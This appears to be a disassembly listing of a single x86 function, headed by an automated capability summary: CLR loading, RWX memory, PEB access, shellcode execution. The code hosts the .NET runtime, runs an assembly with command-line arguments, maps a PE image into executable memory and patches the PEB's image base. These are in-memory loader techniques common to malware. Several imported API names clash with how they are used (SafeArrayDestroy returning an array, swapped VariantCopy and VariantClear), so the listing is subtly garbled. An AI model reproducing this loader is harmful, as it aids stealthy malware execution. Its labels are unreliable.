Function at 0x401000
Capabilities:
Accept command line arguments
Access peb ldr_data
Allocate or change rwx memory
Execute shellcode via indirect call
Load windows common language runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], edx
lea eax, [ebp - 0x34]
mov dword [ebp - 0xc], ecx
push eax
push 0x412d38
push 0x412d78
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x18], ebx
call dword [sym.imp.mscoree.dll_CLRCreateInstance]
mov edi, eax
test edi, edi
js 0x401465
mov eax, dword [ebp - 0x34]
lea edx, [ebp - 0x20]
push edx
push 0x412d88
push 0x412d20
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
mov edi, eax
test edi, edi
js 0x401465
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0x40]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
mov edi, eax
test edi, edi
js 0x401465
cmp dword [ebp - 0x40], ebx
je 0x401465
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0x14]
push edx
push 0x412d48
push 0x412d68
mov ecx, dword [eax]
push eax
call dword [ecx + 0x24]
mov edi, eax
test edi, edi
js 0x401465
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
mov edi, eax
test edi, edi
js 0x401465
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x4010c9
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x2c]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
mov edi, eax
test edi, edi
js 0x401465
mov esi, dword [ebp - 0x2c]
test esi, esi
je 0x401470
mov eax, dword [ebp - 0x28]
test eax, eax
je 0x4010f8
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esi]
lea ecx, [ebp - 0x28]
push ecx
push 0x412d58
push esi
call dword [eax]
mov edi, eax
test edi, edi
js 0x401465
mov eax, dword [ebp - 4]
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x50]
push eax
push 1
push 0x11
mov dword [ebp - 0x4c], ebx
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
mov esi, eax
mov dword [ebp - 0x10], esi
test esi, esi
je 0x40145d
lea eax, [ebp - 0x44]
push eax
push esi
call dword [sym.imp.OLEAUT32.dll_SafeArrayUnaccessData]
mov edi, eax
test edi, edi
js 0x40145d
push dword [ebp - 4]
push dword [ebp - 0xc]
push dword [ebp - 0x44]
call fcn.00403120
add esp, 0xc
push esi
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetElement]
mov esi, dword [ebp - 0x28]
test esi, esi
je 0x401470
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x401179
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esi]
lea ecx, [ebp - 0x24]
push ecx
push dword [ebp - 0x10]
push esi
call dword [eax + 0xb4]
mov edi, eax
test edi, edi
js 0x40145d
mov esi, dword [ebp - 0x24]
test esi, esi
je 0x401470
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x4011ab
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esi]
lea ecx, [ebp - 0x18]
push ecx
push esi
call dword [eax + 0x40]
mov edi, eax
test edi, edi
js 0x40145d
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x401470
mov ecx, dword [eax]
lea edx, [ebp - 0x48]
push edx
push eax
call dword [ecx + 0x48]
mov edi, eax
test edi, edi
js 0x40145d
mov eax, dword [ebp - 0x48]
cmp dword [eax + 0x10], ebx
je 0x401304
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
push dword [ebp - 4]
mov dword [ebp - 0x30], eax
push ebx
push 8
call dword [sym.imp.OLEAUT32.dll_SafeArrayCopyData]
mov esi, eax
mov dword [ebp - 0x3c], esi
test esi, esi
je 0x401280
mov eax, ebx
mov dword [ebp - 8], ebx
cmp dword [ebp - 4], eax
jle 0x40124a
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x1c], eax
push dword [ecx + eax*4]
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
push eax
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.OLEAUT32.dll_SafeArrayCopy]
mov edi, eax
test edi, edi
js 0x401280
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp eax, dword [ebp - 4]
jl 0x40121d
push 1
push ebx
push 0xc
call dword [sym.imp.OLEAUT32.dll_SafeArrayCopyData]
mov ecx, 0x2008
mov dword [ebp - 0x30], eax
mov word [ebp - 0x68], cx
lea ecx, [ebp - 0x68]
push ecx
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x38], ebx
push ecx
push eax
mov dword [ebp - 0x60], esi
call dword [sym.imp.OLEAUT32.dll_SafeArrayCopy]
mov edi, eax
test edi, edi
jns 0x401321
mov ebx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x34]
test ecx, ecx
je 0x401290
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [ebp - 0x20]
test ecx, ecx
je 0x40129d
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x4012b3
mov eax, dword [ecx]
push ecx
call dword [eax + 0x2c]
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
test ebx, ebx
je 0x4012be
push ebx
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetDim]
test esi, esi
je 0x4012c9
push esi
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetDim]
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x4012d6
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x4012e3
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x28]
test eax, eax
je 0x4012f0
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x4012fd
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
lea eax, [ebp - 0x58]
mov dword [ebp - 0x58], ebx
push eax
push 1
push 0xc
mov dword [ebp - 0x54], ebx
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x3c], eax
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
mov eax, dword [ebp - 0xc]
push 0x40
push 0x3000
mov esi, dword [eax + 0x3c]
add esi, eax
movzx eax, word [esi + 0x14]
push dword [esi + 0x50]
add eax, esi
push ebx
mov dword [ebp - 0x1c], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push dword [esi + 0x54]
mov edi, eax
push dword [ebp - 0xc]
mov dword [ebp - 8], edi
push edi
call fcn.00403120
xor eax, eax
add esp, 0xc
cmp ax, word [esi + 6]
jae 0x401393
mov edi, dword [ebp - 0x1c]
add edi, 0x2c
push dword [edi - 4]
mov eax, dword [edi]
add eax, dword [ebp - 0xc]
push eax
mov eax, dword [edi - 8]
add eax, dword [ebp - 8]
push eax
call fcn.00403120
movzx eax, word [esi + 6]
lea edi, [edi + 0x28]
add esp, 0xc
inc ebx
cmp ebx, eax
jl 0x40136c
mov edi, dword [ebp - 8]
mov ecx, dword [esi + 0xa0]
mov ebx, dword [esi + 0xa4]
add ecx, edi
jmp 0x4013ea
lea eax, [ecx + 8]
mov dword [ebp - 0x1c], eax
mov eax, dword [ecx + 4]
sub eax, 8
mov dword [ebp - 8], eax
je 0x4013e4
mov ebx, dword [ebp - 0x1c]
movzx edx, word [ebx]
test edx, 0x3000
je 0x4013d5
and edx, 0xfff
mov eax, edi
add edx, dword [ecx]
sub eax, dword [esi + 0x34]
add dword [edx + edi], eax
mov eax, dword [ebp - 8]
add ebx, 2
dec eax
sub eax, 1
mov dword [ebp - 8], eax
jne 0x4013b7
mov ebx, dword [ebp - 0xc]
sub ebx, dword [ecx + 4]
add ecx, dword [ecx + 4]
mov dword [ebp - 0xc], ebx
test ebx, ebx
jne 0x4013a3
mov eax, dword fs:[0x30]
mov esi, dword [sym.imp.OLEAUT32.dll_VariantClear]
mov dword [eax + 8], edi
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov dword [eax + 0x18], edi
lea eax, [ebp - 0x78]
push eax
call esi
lea eax, [ebp - 0x88]
push eax
call esi
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x401470
mov ecx, dword [eax]
lea edx, [ebp - 0x78]
push edx
push dword [ebp - 0x30]
lea esi, [ebp - 0x88]
sub esp, 0x10
mov edi, esp
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x94]
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov edi, eax
lea eax, [ebp - 0x78]
push eax
call esi
lea eax, [ebp - 0x88]
push eax
call esi
mov esi, dword [ebp - 0x3c]
jmp 0x401280
mov esi, dword [ebp - 4]
jmp 0x401280
mov ebx, dword [ebp - 0x38]
mov esi, dword [ebp - 4]
jmp 0x401283
push 0x80004003
call fcn.004014f0
int3